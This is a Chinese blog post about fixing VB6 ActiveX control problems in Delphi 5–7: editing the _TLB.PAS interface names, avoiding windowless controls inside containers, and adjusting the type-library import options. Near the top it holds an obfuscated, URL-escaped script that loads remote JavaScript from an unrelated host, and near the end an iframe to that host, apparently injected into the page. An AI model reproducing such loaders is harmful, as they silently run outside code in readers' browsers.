Delphi使用VB控件全攻略

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
Delphi使用VB控件全攻略



 
前言
   
在最近几周的工作里,始终被一个头疼的问题所困扰,那就是
VB6
编写的
ActiveX
控件在
Delphi
环境下存在着诸多稀奇古怪的问题,几经周折,终于在搜索了几乎全部的论坛、资料后,找到了针对不同
Delphi
版本发生的问题的解决办法。
 
Delphi 5
莫名其妙的致命异常之一
   
首先,我们来看看
VB
写的
ActiveX
控件在
Delphi 5
下面的奇怪表现。
例如:我们用
VB
编写了一个控件
UserTest
(为简单起见,我们只导出一个类即用户控件),一个属性
TestName,
一个方法
TestMethod
。然后将其编译成一个
ActiveX
控件,注册并导入
Delphi5
的开发环境(以上步骤如有未清楚之处,请查阅各类参考资料,肯定有标准答案),到目前为止,看来一切正常。
然后,我们习惯的把控件拖放到窗体上,调整大小,在属性窗口中为属性赋值,或者在代码中也是一样,非常正常,好用的很。但是,下面问题来了,如果您兴致勃勃的去调用了那个
TestMethod
,那么您将得到一个古怪的异常
“Ole Error 800a01a9”
,然后程序退出,而且非常不幸的是,您将无法跟踪到这个异常,在
Delphi
中或是
VB
中都是,当然如果您对汇编很在行的话,您可以跟着
Delphi
的调试窗口一步一步往下
……
当我第一次碰到这个问题的时候,我几乎是愤怒的,因为无论是
MicroSoft
或是
Borland
,对该错误都没有任何解释,也没有任何可以查找的资料。我只好跑到常去的几个论坛,当然最主要的还是
CSDN
,在
VB
版和
Delphi
版中四处搜索类似的问题,然后非常遗憾的是,只有类似的问题,而没有答案,一个大客户就用的这个开发工具,我在测试了几乎所有
Windows
上的开发工具和开发环境(包括桌面和
WEB
)后,惟独将
Delphi
忘记了。
剩下的两天里,我几乎是满世界乱跑,给所有的朋友打电话,询问
Delphi
方面的高手是否知道这个情况,最后,我从
Google
上搜到了一个链接,可惜的是现在我忘记了那个链接的具体位置,但是我得到了一个近乎
Magic
的方法(发现者是这么称呼它的):
 
一个手工修改
Delphi
导入
VB ActiveX
控件后产生的代理类型库
XXX_TLB.PAS
(这里
XXX
指的是控件的类名
)文件的方法可以解决这一问题。举例说明:
   
   
有一个
VB
写的控件
UserControl1
,在
Delphi
中导入后产生两个文件,其中一个
UserControl1_TLB.PAS
就是我们所要修改的文件。
   
在文件中查找
类似
   
FintF:
_UserControl1
;
Function GetControlInterface:
_UserControl1
;
 

 
property ControlInterface:
_UserControl1
read GetControlInterface;
 
GetControlInterface;
 
以及
 
procedure TUserControl1.CreateControl;
    procedure     DoCreate;
    begin
       Finf:=IUnknown(OleObject) as
_UserControl1
;
    End;
Begin
    If Finf=nil then DoCreate;
End;
 
Function TUserControl1.GetControl1Interface:
_UserControl1
;
 
Begin
    CreateControl;
    Result:=Finfl;
End;
 
请注意:这里红色标出的
_UserControl1

全部换成
_ UserControl1Disp

如果编译不成功的话,请将编译警告中报出的
_UserControl1
全部换成
_UserControl1Disp
,编译即可,这样在调用控件的方法时便不会出现上述的致命错误。
 
感谢这个伟大的发现,我只能这么形容它,否则可能到现在我还要在这个圈子里套不出来,或者就是使用另外的工具重新开发这个控件(我难以想象这个工作量会有多大,又或者它可能还会存在其他的兼容性问题)。
 
 
Delphi 5
莫名其妙的致命异常之二
但是,
Delphi
并没有在我绕开这个限制之后而放过我,很快,客户那边发现另一个麻烦的问题,在开发环境下,每次运行时关闭载有控件的窗体都会跳出一个异常错误,但是在编译后的应用程序中则不会,虽然不会影响最终用户的使用,但是这对开发人员来说是个不小的困扰,然后我用了上述例子去试,发现并不会发生这个问题。(我当时就疯了,这很可能是代码中一些不兼容的用法所致,在一天时间里查找上万行代码是不是很正规是件极其恐怖的事情)我一气之下,屏蔽了我的控件中所有的代码,只留下用户界面本身,然后奇怪的事情发生了,我什么代码都没写,但是加载我的控件还是会发生这个错误,这使我又喜又惊,喜的是这个问题和我的代码无关,这样查找起来会方便的多;惊的是只是拖放几个
VB
中的标准控件居然也会造成这种恐怖的错误,
Delphi5

VB6
之间的矛盾还真不是一般的深。接下来的
2
个小时里,我不断地删除界面上的控件来测试到底是谁造成了这个致命的异常。
 
2
个小时后,我舒了一口气,问题找到了,
其根本问题是:
 
如果你在
VB
的用户控件中使用类似
Frame

PictureBox
这样的容器控件(其内部可以包含其他控件)时,那么您将不可以在这些控件中添加
Label

Line

Image
这样的
windowLess
控件
(
也就是无窗口控件,它们在运行时是
VB
实时画出来的
)
,否则您就会得到上面这样的错误报告。
 
 
Delphi 6

7
隐蔽的
ActiveX
控件
   
正是因为有了
Delphi5
下面的恐怖经历,我发现还是很有必要在
Delphi6

7
下面测试是不是也存在同样的问题(之前的版本因为用户极少已无必要,
Delphi8
还没正式出,也暂不在考虑之列)。结果是:
……
无论我加载多少次,我在
ActiveX
栏上始终没有发现那个期待已久的小图标。这样的结果当然很滑稽,我连加载都做不到,更不要谈什么测试正常不正常了。
   
同样的,我搜索各类论坛和网站,
CSDN
里我也发现了更多的类似问题的提出者,但答案还是零,无奈之下,我只好对每个
Delphi6

7
中的选项进行调整
……
   
历时
3
小时
15

54
秒后,我找到了这个该死的问题(请原谅我这么称呼它,我实在是忍无可忍)的原因,或者说是解决办法,说起来其实很简单。
现在请跟着我做:点击
Tools
菜单
->Environment Options->Type Library

,
我们应该发现一项:
Ignore special CoClass Flags When Importing
,选中它,然后再选中
Can Create
那一项,那么现在,我们再尝试去导入那个可怜的
ActiveX
控件吧(这里要注意,如果你已经导入过一次,那么请把产生的那两个文件
.dcr

.pas
文件删除,否则将不会刷新)。这次如果还是不能在
ActiveX
栏中发现那个控件的话,那么只有致电
Microsoft
或是
Borland
,问问看什么时候它们能结成亲家,呵呵
!
 
(
另,在Delphi6和7中倒是没有发现Delphi5中出现的上述错误)
 
我的测试环境是:
Win2K
Delphi 5 Update1
Delphi 6 Update2
Delphi 7

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值